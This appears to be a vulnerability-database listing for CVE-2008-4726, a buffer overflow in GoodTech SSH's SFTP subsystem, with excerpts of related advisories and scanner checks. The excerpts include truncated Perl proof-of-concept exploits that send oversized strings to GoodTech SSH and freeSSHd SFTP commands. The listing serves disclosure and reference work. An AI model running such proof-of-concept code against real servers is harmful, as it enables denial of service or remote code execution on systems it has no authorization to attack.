CVE-2008-4726

CVE-2008-4726 concerns GoodTech SSH Server 6.4, where the SFTP subsystem is vulnerable to a stack-based buffer overflow. The flaw arises when processing SFTP commands (notably open, unlink, opendir, and related parameters); a sufficiently long argument can overflow a stack buffer, enabling remote...

freeSSHd 1.2.1 sftp rename Remote Crash Exploit

No description provided by source. !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 550000; $ssh2 = Net::SSH2-ne...

CVE-2008-4726: Improper Restriction of Operations within the Bounds of a Memory Buffer

Stack-based buffer overflow in the SFTP subsystem in GoodTech SSH 6.4 allows remote authenticated users to execute arbitrary code via a long string to the 1 open aka SSHFXPOPEN, 2 unlink, 3 opendir, and other unspecified parameters...

goodtechssh-overflow.txt

GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r - writ3r at gmail.com SSHFXPOPEN command contains a buffer oveflow. All other operations are also vulnerable, opendir, unlink, etc. use Net::SSH2; my $user = "root"; my $pass = "yahh"; my $ip = "127.0.0.1"; my $port = 22; my $ssh2 =...

GoodTech SSH (SSH_FXP_OPEN) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================== GoodTech SSH SSHFXPOPEN Remote Buffer Overflow Exploit ========================================================== GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r -...

freeSSHd 1.2.1 sftp realpath Remote Buffer Overflow PoC (auth)

Exploit for unknown platform in category dos / poc ============================================================== freeSSHd 1.2.1 sftp realpath Remote Buffer Overflow PoC auth ============================================================== !/usr/bin/perl Jeremy Brown...

freeSSHd 1.2.1 sftp rename Remote Buffer Overflow PoC (auth)

Exploit for unknown platform in category dos / poc ============================================================ freeSSHd 1.2.1 sftp rename Remote Buffer Overflow PoC auth ============================================================ !/usr/bin/perl Jeremy Brown email protected/jbrownsec.blogspot.co...

freeSSHd 1.2.1 - (Authenticated) SFTP rename Remote Buffer Overflow (PoC)

freeSSHd 1.2.1 - Authenticated SFTP rename Remote Buffer Overflow PoC !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos =...

freeSSHd 1.2.1 - (Authenticated) SFTP realpath Remote Buffer Overflow (PoC)

freeSSHd 1.2.1 - Authenticated SFTP realpath Remote Buffer Overflow PoC !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash 2 -- A Product of Fuzzing. Stay Tuned For More. use Net::SSH2; $host = "192.168.0.100"; $port = 22; $username = "test"; $password =...

GoodTech SSH - 'SSH_FXP_OPEN' Remote Buffer Overflow

GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r - writ3r at gmail.com SSHFXPOPEN command contains a buffer oveflow. All other operations are also vulnerable, opendir, unlink, etc. 0day for 2 months : use Net::SSH2; my $user = "root"; my $pass = "yahh"; my $ip = "127.0.0.1"; my $port...

freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)

!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 550000; $ssh2 = Net::SSH2-new; $ssh2-connect$host, $port || die...

freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC)

!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash 2 -- A Product of Fuzzing. Stay Tuned For More. use Net::SSH2; $host = "192.168.0.100"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 262145; $ssh2 = Net::SSH2-new; $ssh2-connect$host,...

FTP Supports Cleartext Authentication

The remote FTP server allows the user's name and password to be transmitted in cleartext, which could be intercepted by a network sniffer or a man-in-the-middle attack. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid34324; scriptversion"1.28";...

Gentoo Security Advisory GLSA 200703-13 (net-misc/ssh)

The remote host is missing updates announced in advisory GLSA 200703-13. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Directory traversal

Directory traversal vulnerability in includes/xml.php in the Netenberg Fantastico De Luxe module before 2.10.4 r19 for cPanel, when cPanel PHP Register Globals is enabled, allows remote authenticated users to include and execute arbitrary local files via a .. dot dot or absolute pathname in the...

FreeBSD Ports: ssh2, ssh2-nox11

The remote host is missing an update to the system as announced in the referenced advisory. VID 594ad3c5-a39b-11da-926c-0800209adf0e OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

FreeBSD Ports: putty

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

FreeBSD Ports: ssh2, ssh2-nox11

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

RhinoSoft Serv-U SFTP Remote Denial of Service Vulnerability

The host is running RhinoSoft Serv-U SFTP, which is prone to denial of service vulnerability. OpenVAS Vulnerability Test $Id: secpodrhinosoftserv-usftpdosvuln900113.nasl 5375 2017-02-20 16:39:23Z cfi $ Description: RhinoSoft Serv-U SFTP Remote Denial of Service Vulnerability Authors: Sharath S...

RhinoSoft Serv-U SFTP Remote Denial of Service Vulnerability

RhinoSoft Serv-U SFTP is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...